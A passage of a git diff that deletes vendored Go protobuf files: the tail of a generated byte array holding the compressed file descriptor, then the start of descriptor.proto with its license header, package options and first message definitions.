0x65, 0x58, 0x71, 0x89, 0xfe, 0x88, - 0x8c, 0xa8, 0x9c, 0xe1, 0x70, 0xd4, 0xc4, 0xaf, 0x03, 0x18, 0xd4, 0xa5, 0xb6, 0x41, 0x6d, 0xfd, - 0x54, 0xce, 0x6e, 0x67, 0x77, 0x4a, 0x6a, 0x02, 0xc1, 0xef, 0xc0, 0xba, 0x3b, 0x3d, 0xb1, 0x4c, - 0x5d, 0x4b, 0xd0, 0x60, 0x3b, 0xbb, 0x93, 0x57, 0x91, 0x10, 0xb4, 0x66, 0xe4, 0xab, 0xb0, 0xf6, - 0x84, 0x92, 0x47, 0x49, 0x6a, 0x99, 0x53, 0xab, 0x0c, 0x4e, 0x10, 0x9b, 0x50, 0x99, 0x50, 0xdf, - 0x27, 0x23, 0xaa, 0x05, 0xa7, 0x2e, 0x95, 0x73, 0x7c, 0xf4, 0xdb, 0x0b, 0xa3, 0x9f, 0x1f, 0x79, - 0x39, 0xd4, 0x1a, 0x9c, 0xba, 0x14, 0x37, 0xa0, 0x44, 0xed, 0xe9, 0x44, 0x58, 0xc8, 0x9f, 0x11, - 0x3f, 0xc5, 0x9e, 0x4e, 0xe6, 0xad, 0x14, 0x99, 0x5a, 0x68, 0x62, 0xc5, 0xa7, 0xde, 0x63, 0x53, - 0xa7, 0x72, 0x81, 0x1b, 0xb8, 0xba, 0x60, 0xa0, 0x2f, 0xe4, 0xf3, 0x36, 0x22, 0x3d, 0xdc, 0x84, - 0x12, 0x7d, 0x1a, 0x50, 0xdb, 0x37, 0x1d, 0x5b, 0x5e, 0xe1, 0x46, 0xde, 0x5a, 0x32, 0x8b, 0xd4, - 0x32, 0xe6, 0x4d, 0xcc, 0xf4, 0xf0, 0x1d, 0x58, 0x71, 0xdc, 0xc0, 0x74, 0x6c, 0x5f, 0x2e, 0x6e, - 0x4b, 0x3b, 0xe5, 0x9b, 0xaf, 0x2e, 0x4d, 0x84, 0xae, 0xe0, 0xa8, 0x11, 0x19, 0xb7, 0x01, 0xf9, - 0xce, 0xd4, 0xd3, 0xa9, 0xa6, 0x3b, 0x06, 0xd5, 0x4c, 0x7b, 0xe8, 0xc8, 0x25, 0x6e, 0xe0, 0xf2, - 0xe2, 0x40, 0x38, 0xb1, 0xe9, 0x18, 0xb4, 0x6d, 0x0f, 0x1d, 0xb5, 0xea, 0xa7, 0xda, 0xf8, 0x02, - 0x14, 0xfc, 0x53, 0x3b, 0x20, 0x4f, 0xe5, 0x0a, 0xcf, 0x90, 0xb0, 0x55, 0xfb, 0x6b, 0x01, 0xd6, - 0xce, 0x93, 0x62, 0xf7, 0x20, 0x3f, 0x64, 0xa3, 0x94, 0x33, 0xdf, 0x26, 0x06, 0x42, 0x27, 0x1d, - 0xc4, 0xc2, 0x77, 0x0c, 0x62, 0x03, 0xca, 0x36, 0xf5, 0x03, 0x6a, 0x88, 0x8c, 0xc8, 0x9e, 0x33, - 0xa7, 0x40, 0x28, 0x2d, 0xa6, 0x54, 0xee, 0x3b, 0xa5, 0xd4, 0xa7, 0xb0, 0x16, 0xbb, 0xa4, 0x79, - 0xc4, 0x1e, 0x45, 0xb9, 0xb9, 0xfb, 0x3c, 0x4f, 0xea, 0x4a, 0xa4, 0xa7, 0x32, 0x35, 0xb5, 0x4a, - 0x53, 0x6d, 0xdc, 0x02, 0x70, 0x6c, 0xea, 0x0c, 0x35, 0x83, 0xea, 0x96, 0x5c, 0x3c, 0x23, 0x4a, - 0x5d, 0x46, 0x59, 0x88, 0x92, 0x23, 0x50, 0xdd, 0xc2, 0x1f, 0xce, 0x52, 0x6d, 0xe5, 0x8c, 0x4c, - 0x39, 0x12, 0x8b, 0x6c, 0x21, 0xdb, 0x8e, 0xa1, 0xea, 0x51, 0x96, 0xf7, 0xd4, 0x08, 0x47, 0x56, - 0xe2, 0x4e, 0xd4, 0x9f, 0x3b, 0x32, 0x35, 0x54, 0x13, 0x03, 0x5b, 0xf5, 0x92, 0x4d, 0xfc, 0x06, - 0xc4, 0x80, 0xc6, 0xd3, 0x0a, 0xf8, 0x2e, 0x54, 0x89, 0xc0, 0x0e, 0x99, 0xd0, 0xad, 0x2f, 0xa1, - 0x9a, 0x0e, 0x0f, 0xde, 0x84, 0xbc, 0x1f, 0x10, 0x2f, 0xe0, 0x59, 0x98, 0x57, 0x45, 0x03, 0x23, - 0xc8, 0x52, 0xdb, 0xe0, 0xbb, 0x5c, 0x5e, 0x65, 0x7f, 0xf1, 0x4f, 0x66, 0x03, 0xce, 0xf2, 0x01, - 0xbf, 0xbd, 0x38, 0xa3, 0x29, 0xcb, 0xf3, 0xe3, 0xde, 0xfa, 0x00, 0x56, 0x53, 0x03, 0x38, 0x6f, - 0xd7, 0xb5, 0x5f, 0xc2, 0xcb, 0x4b, 0x4d, 0xe3, 0x4f, 0x61, 0x73, 0x6a, 0x9b, 0x76, 0x40, 0x3d, - 0xd7, 0xa3, 0x2c, 0x63, 0x45, 0x57, 0xf2, 0x7f, 0x56, 0xce, 0xc8, 0xb9, 0xe3, 0x24, 0x5b, 0x58, - 0x51, 0x37, 0xa6, 0x8b, 0xe0, 0xf5, 0x52, 0xf1, 0xbf, 0x2b, 0xe8, 0xd9, 0xb3, 0x67, 0xcf, 0x32, - 0xb5, 0xdf, 0x15, 0x60, 0x73, 0xd9, 0x9a, 0x59, 0xba, 0x7c, 0x2f, 0x40, 0xc1, 0x9e, 0x4e, 0x4e, - 0xa8, 0xc7, 0x83, 0x94, 0x57, 0xc3, 0x16, 0x6e, 0x40, 0xde, 0x22, 0x27, 0xd4, 0x92, 0x73, 0xdb, - 0xd2, 0x4e, 0xf5, 0xe6, 0x3b, 0xe7, 0x5a, 0x95, 0xf5, 0x43, 0xa6, 0xa2, 0x0a, 0x4d, 0xfc, 0x11, - 0xe4, 0xc2, 0x2d, 0x9a, 0x59, 0xb8, 0x7e, 0x3e, 0x0b, 0x6c, 0x2d, 0xa9, 0x5c, 0x0f, 0xbf, 0x02, - 0x25, 0xf6, 0x2b, 0x72, 0xa3, 0xc0, 0x7d, 0x2e, 0x32, 0x80, 0xe5, 0x05, 0xde, 0x82, 0x22, 0x5f, - 0x26, 0x06, 0x8d, 0x8e, 0xb6, 0xb8, 0xcd, 0x12, 0xcb, 0xa0, 0x43, 0x32, 0xb5, 0x02, 0xed, 0x31, - 0xb1, 0xa6, 0x94, 0x27, 0x7c, 0x49, 0xad, 0x84, 0xe0, 0xcf, 0x19, 0x86, 0x2f, 0x43, 0x59, 0xac, - 0x2a, 0xd3, 0x36, 0xe8, 0x53, 0xbe, 0x7b, 0xe6, 0x55, 0xb1, 0xd0, 0xda, 0x0c, 0x61, 0xdd, 0x3f, - 0xf4, 0x1d, 0x3b, 0x4a, 0x4d, 0xde, 0x05, 0x03, 0x78, 0xf7, 0x1f, 0xcc, 0x6f, 0xdc, 0xaf, 0x2d, - 0x1f, 0xde, 0x7c, 0x4e, 0xd5, 0xfe, 0x92, 0x81, 0x1c, 0xdf, 0x2f, 0xd6, 0xa0, 0x3c, 0xf8, 0xac, - 0xa7, 0x68, 0xad, 0xee, 0xf1, 0xfe, 0xa1, 0x82, 0x24, 0x5c, 0x05, 0xe0, 0xc0, 0xfd, 0xc3, 0x6e, - 0x63, 0x80, 0x32, 0x71, 0xbb, 0xdd, 0x19, 0xdc, 0xb9, 0x85, 0xb2, 0xb1, 0xc2, 0xb1, 0x00, 0x72, - 0x49, 0xc2, 0xfb, 0x37, 0x51, 0x1e, 0x23, 0xa8, 0x08, 0x03, 0xed, 0x4f, 0x95, 0xd6, 0x9d, 0x5b, - 0xa8, 0x90, 0x46, 0xde, 0xbf, 0x89, 0x56, 0xf0, 0x2a, 0x94, 0x38, 0xb2, 0xdf, 0xed, 0x1e, 0xa2, - 0x62, 0x6c, 0xb3, 0x3f, 0x50, 0xdb, 0x9d, 0x03, 0x54, 0x8a, 0x6d, 0x1e, 0xa8, 0xdd, 0xe3, 0x1e, - 0x82, 0xd8, 0xc2, 0x91, 0xd2, 0xef, 0x37, 0x0e, 0x14, 0x54, 0x8e, 0x19, 0xfb, 0x9f, 0x0d, 0x94, - 0x3e, 0xaa, 0xa4, 0xdc, 0x7a, 0xff, 0x26, 0x5a, 0x8d, 0xbb, 0x50, 0x3a, 0xc7, 0x47, 0xa8, 0x8a, - 0xd7, 0x61, 0x55, 0x74, 0x11, 0x39, 0xb1, 0x36, 0x07, 0xdd, 0xb9, 0x85, 0xd0, 0xcc, 0x11, 0x61, - 0x65, 0x3d, 0x05, 0xdc, 0xb9, 0x85, 0x70, 0xad, 0x09, 0x79, 0x9e, 0x5d, 0x18, 0x43, 0xf5, 0xb0, - 0xb1, 0xaf, 0x1c, 0x6a, 0xdd, 0xde, 0xa0, 0xdd, 0xed, 0x34, 0x0e, 0x91, 0x34, 0xc3, 0x54, 0xe5, - 0x67, 0xc7, 0x6d, 0x55, 0x69, 0xa1, 0x4c, 0x12, 0xeb, 0x29, 0x8d, 0x81, 0xd2, 0x42, 0xd9, 0x9a, - 0x0e, 0x9b, 0xcb, 0xf6, 0xc9, 0xa5, 0x2b, 0x23, 0x31, 0xc5, 0x99, 0x33, 0xa6, 0x98, 0xdb, 0x5a, - 0x98, 0xe2, 0x7f, 0x65, 0x60, 0x63, 0xc9, 0x59, 0xb1, 0xb4, 0x93, 0x1f, 0x43, 0x5e, 0xa4, 0xa8, - 0x38, 0x3d, 0xaf, 0x2d, 0x3d, 0x74, 0x78, 0xc2, 0x2e, 0x9c, 0xa0, 0x5c, 0x2f, 0x59, 0x41, 0x64, - 0xcf, 0xa8, 0x20, 0x98, 0x89, 0x85, 0x3d, 0xfd, 0x17, 0x0b, 0x7b, 0xba, 0x38, 0xf6, 0xee, 0x9c, - 0xe7, 0xd8, 0xe3, 0xd8, 0xb7, 0xdb, 0xdb, 0xf3, 0x4b, 0xf6, 0xf6, 0x7b, 0xb0, 0xbe, 0x60, 0xe8, - 0xdc, 0x7b, 0xec, 0xaf, 0x24, 0x90, 0xcf, 0x0a, 0xce, 0x73, 0x76, 0xba, 0x4c, 0x6a, 0xa7, 0xbb, - 0x37, 0x1f, 0xc1, 0x2b, 0x67, 0x4f, 0xc2, 0xc2, 0x5c, 0x7f, 0x25, 0xc1, 0x85, 0xe5, 0x95, 0xe2, - 0x52, 0x1f, 0x3e, 0x82, 0xc2, 0x84, 0x06, 0x63, 0x27, 0xaa, 0x96, 0xde, 0x5e, 0x72, 0x06, 0x33, - 0xf1, 0xfc, 0x64, 0x87, 0x5a, 0xc9, 0x43, 0x3c, 0x7b, 0x56, 0xb9, 0x27, 0xbc, 0x59, 0xf0, 0xf4, - 0xd7, 0x19, 0x78, 0x79, 0xa9, 0xf1, 0xa5, 0x8e, 0xbe, 0x06, 0x60, 0xda, 0xee, 0x34, 0x10, 0x15, - 0x91, 0xd8, 0x60, 0x4b, 0x1c, 0xe1, 0x9b, 0x17, 0xdb, 0x3c, 0xa7, 0x41, 0x2c, 0xcf, 0x72, 0x39, - 0x08, 0x88, 0x13, 0xee, 0xce, 0x1c, 0xcd, 0x71, 0x47, 0x5f, 0x3f, 0x63, 0xa4, 0x0b, 0x89, 0xf9, - 0x1e, 0x20, 0xdd, 0x32, 0xa9, 0x1d, 0x68, 0x7e, 0xe0, 0x51, 0x32, 0x31, 0xed, 0x11, 0x3f, 0x41, - 0x8a, 0x7b, 0xf9, 0x21, 0xb1, 0x7c, 0xaa, 0xae, 0x09, 0x71, 0x3f, 0x92, 0x32, 0x0d, 0x9e, 0x40, - 0x5e, 0x42, 0xa3, 0x90, 0xd2, 0x10, 0xe2, 0x58, 0xa3, 0xf6, 0xdb, 0x12, 0x94, 0x13, 0x75, 0x35, - 0xbe, 0x02, 0x95, 0x87, 0xe4, 0x31, 0xd1, 0xa2, 0xbb, 0x92, 0x88, 0x44, 0x99, 0x61, 0xbd, 0xf0, - 0xbe, 0xf4, 0x1e, 0x6c, 0x72, 0x8a, 0x33, 0x0d, 0xa8, 0xa7, 0xe9, 0x16, 0xf1, 0x7d, 0x1e, 0xb4, - 0x22, 0xa7, 0x62, 0x26, 0xeb, 0x32, 0x51, 0x33, 0x92, 0xe0, 0xdb, 0xb0, 0xc1, 0x35, 0x26, 0x53, - 0x2b, 0x30, 0x5d, 0x8b, 0x6a, 0xec, 0xf6, 0xe6, 0xf3, 0x93, 0x24, 0xf6, 0x6c, 0x9d, 0x31, 0x8e, - 0x42, 0x02, 0xf3, 0xc8, 0xc7, 0x2d, 0x78, 0x8d, 0xab, 0x8d, 0xa8, 0x4d, 0x3d, 0x12, 0x50, 0x8d, - 0x7e, 0x31, 0x25, 0x96, 0xaf, 0x11, 0xdb, 0xd0, 0xc6, 0xc4, 0x1f, 0xcb, 0x9b, 0xcc, 0xc0, 0x7e, - 0x46, 0x96, 0xd4, 0x4b, 0x8c, 0x78, 0x10, 0xf2, 0x14, 0x4e, 0x6b, 0xd8, 0xc6, 0xc7, 0xc4, 0x1f, - 0xe3, 0x3d, 0xb8, 0xc0, 0xad, 0xf8, 0x81, 0x67, 0xda, 0x23, 0x4d, 0x1f, 0x53, 0xfd, 0x91, 0x36, - 0x0d, 0x86, 0x77, 0xe5, 0x57, 0x92, 0xfd, 0x73, 0x0f, 0xfb, 0x9c, 0xd3, 0x64, 0x94, 0xe3, 0x60, - 0x78, 0x17, 0xf7, 0xa1, 0xc2, 0x26, 0x63, 0x62, 0x7e, 0x49, 0xb5, 0xa1, 0xe3, 0xf1, 0xa3, 0xb1, - 0xba, 0x64, 0x6b, 0x4a, 0x44, 0xb0, 0xde, 0x0d, 0x15, 0x8e, 0x1c, 0x83, 0xee, 0xe5, 0xfb, 0x3d, - 0x45, 0x69, 0xa9, 0xe5, 0xc8, 0xca, 0x7d, 0xc7, 0x63, 0x09, 0x35, 0x72, 0xe2, 0x00, 0x97, 0x45, - 0x42, 0x8d, 0x9c, 0x28, 0xbc, 0xb7, 0x61, 0x43, 0xd7, 0xc5, 0x98, 0x4d, 0x5d, 0x0b, 0xef, 0x58, - 0xbe, 0x8c, 0x52, 0xc1, 0xd2, 0xf5, 0x03, 0x41, 0x08, 0x73, 0xdc, 0xc7, 0x1f, 0xc2, 0xcb, 0xb3, - 0x60, 0x25, 0x15, 0xd7, 0x17, 0x46, 0x39, 0xaf, 0x7a, 0x1b, 0x36, 0xdc, 0xd3, 0x45, 0x45, 0x9c, - 0xea, 0xd1, 0x3d, 0x9d, 0x57, 0xfb, 0x00, 0x36, 0xdd, 0xb1, 0xbb, 0xa8, 0x77, 0x3d, 0xa9, 0x87, - 0xdd, 0xb1, 0x3b, 0xaf, 0xf8, 0x16, 0xbf, 0x70, 0x7b, 0x54, 0x27, 0x01, 0x35, 0xe4, 0x8b, 0x49, - 0x7a, 0x42, 0x80, 0x77, 0x01, 0xe9, 0xba, 0x46, 0x6d, 0x72, 0x62, 0x51, 0x8d, 0x78, 0xd4, 0x26, - 0xbe, 0x7c, 0x39, 0x49, 0xae, 0xea, 0xba, 0xc2, 0xa5, 0x0d, 0x2e, 0xc4, 0xd7, 0x61, 0xdd, 0x39, - 0x79, 0xa8, 0x8b, 0x94, 0xd4, 0x5c, 0x8f, 0x0e, 0xcd, 0xa7, 0xf2, 0x9b, 0x3c, 0xbe, 0x6b, 0x4c, - 0xc0, 0x13, 0xb2, 0xc7, 0x61, 0x7c, 0x0d, 0x90, 0xee, 0x8f, 0x89, 0xe7, 0xf2, 0x3d, 0xd9, 0x77, - 0x89, 0x4e, 0xe5, 0xb7, 0x04, 0x55, 0xe0, 0x9d, 0x08, 0x66, 0x4b, 0xc2, 0x7f, 0x62, 0x0e, 0x83, - 0xc8, 0xe2, 0x55, 0xb1, 0x24, 0x38, 0x16, 0x5a, 0xdb, 0x01, 0xc4, 0x42, 0x91, 0xea, 0x78, 0x87, - 0xd3, 0xaa, 0xee, 0xd8, 0x4d, 0xf6, 0xfb, 0x06, 0xac, 0x32, 0xe6, 0xac, 0xd3, 0x6b, 0xa2, 0x20, - 0x73, 0xc7, 0x89, 0x1e, 0x6f, 0xc1, 0x05, 0x46, 0x9a, 0xd0, 0x80, 0x18, 0x24, 0x20, 0x09, 0xf6, - 0xbb, 0x9c, 0xcd, 0xe2, 0x7e, 0x14, 0x0a, 0x53, 0x7e, 0x7a, 0xd3, 0x93, 0xd3, 0x38, 0xb3, 0x6e, - 0x08, 0x3f, 0x19, 0x16, 0xe5, 0xd6, 0xf7, 0x56, 0x74, 0xd7, 0xf6, 0xa0, 0x92, 0x4c, 0x7c, 0x5c, - 0x02, 0x91, 0xfa, 0x48, 0x62, 0x55, 0x50, 0xb3, 0xdb, 0x62, 0xf5, 0xcb, 0xe7, 0x0a, 0xca, 0xb0, - 0x3a, 0xea, 0xb0, 0x3d, 0x50, 0x34, 0xf5, 0xb8, 0x33, 0x68, 0x1f, 0x29, 0x28, 0x9b, 0x28, 0xd8, - 0x1f, 0xe4, 0x8a, 0x6f, 0xa3, 0xab, 0xb5, 0xaf, 0x33, 0x50, 0x4d, 0xdf, 0xc0, 0xf0, 0x8f, 0xe0, - 0x62, 0xf4, 0x5c, 0xe2, 0xd3, 0x40, 0x7b, 0x62, 0x7a, 0x7c, 0x45, 0x4e, 0x88, 0x38, 0x1d, 0xe3, - 0x9c, 0xd8, 0x0c, 0x59, 0x7d, 0x1a, 0x7c, 0x62, 0x7a, 0x6c, 0xbd, 0x4d, 0x48, 0x80, 0x0f, 0xe1, - 0xb2, 0xed, 0x68, 0x7e, 0x40, 0x6c, 0x83, 0x78, 0x86, 0x36, 0x7b, 0xa8, 0xd2, 0x88, 0xae, 0x53, - 0xdf, 0x77, 0xc4, 0x49, 0x18, 0x5b, 0x79, 0xd5, 0x76, 0xfa, 0x21, 0x79, 0x76, 0x44, 0x34, 0x42, - 0xea, 0x5c, 0xfe, 0x66, 0xcf, 0xca, 0xdf, 0x57, 0xa0, 0x34, 0x21, 0xae, 0x46, 0xed, 0xc0, 0x3b, - 0xe5, 0x75, 0x77, 0x51, 0x2d, 0x4e, 0x88, 0xab, 0xb0, 0xf6, 0x0b, 0xb9, 0xfe, 0x3c, 0xc8, 0x15, - 0x8b, 0xa8, 0xf4, 0x20, 0x57, 0x2c, 0x21, 0xa8, 0xfd, 0x33, 0x0b, 0x95, 0x64, 0x1d, 0xce, 0xae, - 0x35, 0x3a, 0x3f, 0xb2, 0x24, 0xbe, 0xa9, 0xbd, 0xf1, 0x8d, 0x55, 0x7b, 0xbd, 0xc9, 0xce, 0xb2, - 0xbd, 0x82, 0xa8, 0x8e, 0x55, 0xa1, 0xc9, 0xea, 0x08, 0x96, 0x6c, 0x54, 0x54, 0x23, 0x45, 0x35, - 0x6c, 0xe1, 0x03, 0x28, 0x3c, 0xf4, 0xb9, 0xed, 0x02, 0xb7, 0xfd, 0xe6, 0x37, 0xdb, 0x7e, 0xd0, - 0xe7, 0xc6, 0x4b, 0x0f, 0xfa, 0x5a, 0xa7, 0xab, 0x1e, 0x35, 0x0e, 0xd5, 0x50, 0x1d, 0x5f, 0x82, - 0x9c, 0x45, 0xbe, 0x3c, 0x4d, 0x9f, 0x7a, 0x1c, 0x3a, 0xef, 0x24, 0x5c, 0x82, 0xdc, 0x13, 0x4a, - 0x1e, 0xa5, 0xcf, 0x1a, 0x0e, 0x7d, 0x8f, 0x8b, 0x61, 0x17, 0xf2, 0x3c, 0x5e, 0x18, 0x20, 0x8c, - 0x18, 0x7a, 0x09, 0x17, 0x21, 0xd7, 0xec, 0xaa, 0x6c, 0x41, 0x20, 0xa8, 0x08, 0x54, 0xeb, 0xb5, - 0x95, 0xa6, 0x82, 0x32, 0xb5, 0xdb, 0x50, 0x10, 0x41, 0x60, 0x8b, 0x25, 0x0e, 0x03, 0x7a, 0x29, - 0x6c, 0x86, 0x36, 0xa4, 0x48, 0x7a, 0x7c, 0xb4, 0xaf, 0xa8, 0x28, 0x93, 0x9e, 0xea, 0x1c, 0xca, - 0xd7, 0x7c, 0xa8, 0x24, 0x0b, 0xf1, 0x17, 0x73, 0xc9, 0xfe, 0x9b, 0x04, 0xe5, 0x44, 0x61, 0xcd, - 0x2a, 0x22, 0x62, 0x59, 0xce, 0x13, 0x8d, 0x58, 0x26, 0xf1, 0xc3, 0xd4, 0x00, 0x0e, 0x35, 0x18, - 0x72, 0xde, 0xa9, 0x7b, 0x41, 0x4b, 0x24, 0x8f, 0x0a, 0xb5, 0x3f, 0x4a, 0x80, 0xe6, 0x2b, 0xdb, - 0x39, 0x37, 0xa5, 0x1f, 0xd2, 0xcd, 0xda, 0x1f, 0x24, 0xa8, 0xa6, 0xcb, 0xd9, 0x39, 0xf7, 0xae, - 0xfc, 0xa0, 0xee, 0xfd, 0x23, 0x03, 0xab, 0xa9, 0x22, 0xf6, 0xbc, 0xde, 0x7d, 0x01, 0xeb, 0xa6, - 0x41, 0x27, 0xae, 0x13, 0x50, 0x5b, 0x3f, 0xd5, 0x2c, 0xfa, 0x98, 0x5a, 0x72, 0x8d, 0x6f, 0x1a, - 0xbb, 0xdf, 0x5c, 0x26, 0xd7, 0xdb, 0x33, 0xbd, 0x43, 0xa6, 0xb6, 0xb7, 0xd1, 0x6e, 0x29, 0x47, - 0xbd, 0xee, 0x40, 0xe9, 0x34, 0x3f, 0xd3, 0x8e, 0x3b, 0x3f, 0xed, 0x74, 0x3f, 0xe9, 0xa8, 0xc8, - 0x9c, 0xa3, 0x7d, 0x8f, 0xcb, 0xbe, 0x07, 0x68, 0xde, 0x29, 0x7c, 0x11, 0x96, 0xb9, 0x85, 0x5e, - 0xc2, 0x1b, 0xb0, 0xd6, 0xe9, 0x6a, 0xfd, 0x76, 0x4b, 0xd1, 0x94, 0xfb, 0xf7, 0x95, 0xe6, 0xa0, - 0x2f, 0x1e, 0x3e, 0x62, 0xf6, 0x20, 0xb5, 0xc0, 0x6b, 0xbf, 0xcf, 0xc2, 0xc6, 0x12, 0x4f, 0x70, - 0x23, 0xbc, 0xb2, 0x88, 0x5b, 0xd4, 0x8d, 0xf3, 0x78, 0x5f, 0x67, 0x35, 0x43, 0x8f, 0x78, 0x41, - 0x78, 0xc3, 0xb9, 0x06, 0x2c, 0x4a, 0x76, 0x60, 0x0e, 0x4d, 0xea, 0x85, 0xef, 0x44, 0xe2, 0x1e, - 0xb3, 0x36, 0xc3, 0xc5, 0x53, 0xd1, 0xbb, 0x80, 0x5d, 0xc7, 0x37, 0x03, 0xf3, 0x31, 0xd5, 0x4c, - 0x3b, 0x7a, 0x54, 0x62, 0xf7, 0x9a, 0x9c, 0x8a, 0x22, 0x49, 0xdb, 0x0e, 0x62, 0xb6, 0x4d, 0x47, - 0x64, 0x8e, 0xcd, 0x36, 0xf3, 0xac, 0x8a, 0x22, 0x49, 0xcc, 0xbe, 0x02, 0x15, 0xc3, 0x99, 0xb2, - 0x62, 0x4f, 0xf0, 0xd8, 0xd9, 0x21, 0xa9, 0x65, 0x81, 0xc5, 0x94, 0xb0, 0x8c, 0x9f, 0xbd, 0x66, - 0x55, 0xd4, 0xb2, 0xc0, 0x04, 0xe5, 0x2a, 0xac, 0x91, 0xd1, 0xc8, 0x63, 0xc6, 0x23, 0x43, 0xe2, - 0x62, 0x52, 0x8d, 0x61, 0x4e, 0xdc, 0x7a, 0x00, 0xc5, 0x28, 0x0e, 0xec, 0xa8, 0x66, 0x91, 0xd0, - 0x5c, 0x71, 0xdb, 0xce, 0xec, 0x94, 0xd4, 0xa2, 0x1d, 0x09, 0xaf, 0x40, 0xc5, 0xf4, 0xb5, 0xd9, - 0xe3, 0x7c, 0x66, 0x3b, 0xb3, 0x53, 0x54, 0xcb, 0xa6, 0x1f, 0x3f, 0x6c, 0xd6, 0xbe, 0xca, 0x40, - 0x35, 0xfd, 0x71, 0x01, 0xb7, 0xa0, 0x68, 0x39, 0x3a, 0xe1, 0xa9, 0x25, 0xbe, 0x6c, 0xed, 0x3c, - 0xe7, 0x7b, 0x44, 0xfd, 0x30, 0xe4, 0xab, 0xb1, 0xe6, 0xd6, 0xdf, 0x25, 0x28, 0x46, 0x30, 0xbe, - 0x00, 0x39, 0x97, 0x04, 0x63, 0x6e, 0x2e, 0xbf, 0x9f, 0x41, 0x92, 0xca, 0xdb, 0x0c, 0xf7, 0x5d, - 0x62, 0xf3, 0x14, 0x08, 0x71, 0xd6, 0x66, 0xf3, 0x6a, 0x51, 0x62, 0xf0, 0x5b, 0x8f, 0x33, 0x99, - 0x50, 0x3b, 0xf0, 0xa3, 0x79, 0x0d, 0xf1, 0x66, 0x08, 0xe3, 0x77, 0x60, 0x3d, 0xf0, 0x88, 0x69, - 0xa5, 0xb8, 0x39, 0xce, 0x45, 0x91, 0x20, 0x26, 0xef, 0xc1, 0xa5, 0xc8, 0xae, 0x41, 0x03, 0xa2, - 0x8f, 0xa9, 0x31, 0x53, 0x2a, 0xf0, 0xd7, 0x8d, 0x8b, 0x21, 0xa1, 0x15, 0xca, 0x23, 0xdd, 0xda, - 0xd7, 0x12, 0xac, 0x47, 0xf7, 0x34, 0x23, 0x0e, 0xd6, 0x11, 0x00, 0xb1, 0x6d, 0x27, 0x48, 0x86, - 0x6b, 0x31, 0x95, 0x17, 0xf4, 0xea, 0x8d, 0x58, 0x49, 0x4d, 0x18, 0xd8, 0x9a, 0x00, 0xcc, 0x24, - 0x67, 0x86, 0xed, 0x32, 0x94, 0xc3, 0x2f, 0x47, 0xfc, 0xf3, 0xa3, 0xb8, 0xd9, 0x83, 0x80, 0xd8, - 0x85, 0x0e, 0x6f, 0x42, 0xfe, 0x84, 0x8e, 0x4c, 0x3b, 0x7c, 0x0f, 0x16, 0x8d, 0xe8, 0xfd, 0x25, - 0x17, 0xbf, 0xbf, 0xec, 0xff, 0x46, 0x82, 0x0d, 0xdd, 0x99, 0xcc, 0xfb, 0xbb, 0x8f, 0xe6, 0x9e, - 0x17, 0xfc, 0x8f, 0xa5, 0xcf, 0x3f, 0x1a, 0x99, 0xc1, 0x78, 0x7a, 0x52, 0xd7, 0x9d, 0xc9, 0xee, - 0xc8, 0xb1, 0x88, 0x3d, 0x9a, 0x7d, 0x3f, 0xe5, 0x7f, 0xf4, 0x1b, 0x23, 0x6a, 0xdf, 0x18, 0x39, - 0x89, 0xaf, 0xa9, 0xf7, 0x66, 0x7f, 0xff, 0x27, 0x49, 0x7f, 0xca, 0x64, 0x0f, 0x7a, 0xfb, 0x7f, - 0xce, 0x6c, 0x1d, 0x88, 0xee, 0x7a, 0x51, 0x78, 0x54, 0x3a, 0xb4, 0xa8, 0xce, 0x86, 0xfc, 0xff, - 0x00, 0x00, 0x00, 0xff, 0xff, 0x3e, 0xe8, 0xef, 0xc4, 0x9b, 0x1d, 0x00, 0x00, -} diff --git a/vendor/github.com/golang/protobuf/protoc-gen-go/descriptor/descriptor.proto b/vendor/github.com/golang/protobuf/protoc-gen-go/descriptor/descriptor.proto deleted file mode 100644 index ed08fcbc54..0000000000 --- a/vendor/github.com/golang/protobuf/protoc-gen-go/descriptor/descriptor.proto +++ /dev/null @@ -1,883 +0,0 @@ -// Protocol Buffers - Google's data interchange format -// Copyright 2008 Google Inc. All rights reserved. -// https://developers.google.com/protocol-buffers/ -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// Author: kenton@google.com (Kenton Varda) -// Based on original Protocol Buffers design by -// Sanjay Ghemawat, Jeff Dean, and others. -// -// The messages in this file describe the definitions found in .proto files. -// A valid .proto file can be translated directly to a FileDescriptorProto -// without any other information (e.g. without reading its imports). - - -syntax = "proto2"; - -package google.protobuf; -option go_package = "github.com/golang/protobuf/protoc-gen-go/descriptor;descriptor"; -option java_package = "com.google.protobuf"; -option java_outer_classname = "DescriptorProtos"; -option csharp_namespace = "Google.Protobuf.Reflection"; -option objc_class_prefix = "GPB"; -option cc_enable_arenas = true; - -// descriptor.proto must be optimized for speed because reflection-based -// algorithms don't work during bootstrapping. -option optimize_for = SPEED; - -// The protocol compiler can output a FileDescriptorSet containing the .proto -// files it parses. -message FileDescriptorSet { - repeated FileDescriptorProto file = 1; -} - -// Describes a complete .proto file. -message FileDescriptorProto { - optional string name = 1; // file name, relative to root of source tree - optional string package = 2; // e.g. "foo", "foo.bar", etc. - - // Names of files imported by this file. - repeated string dependency = 3; - // Indexes of the public imported files in the dependency list above. - repeated int32 public_dependency = 10; - // Indexes of the weak imported files in the dependency list. 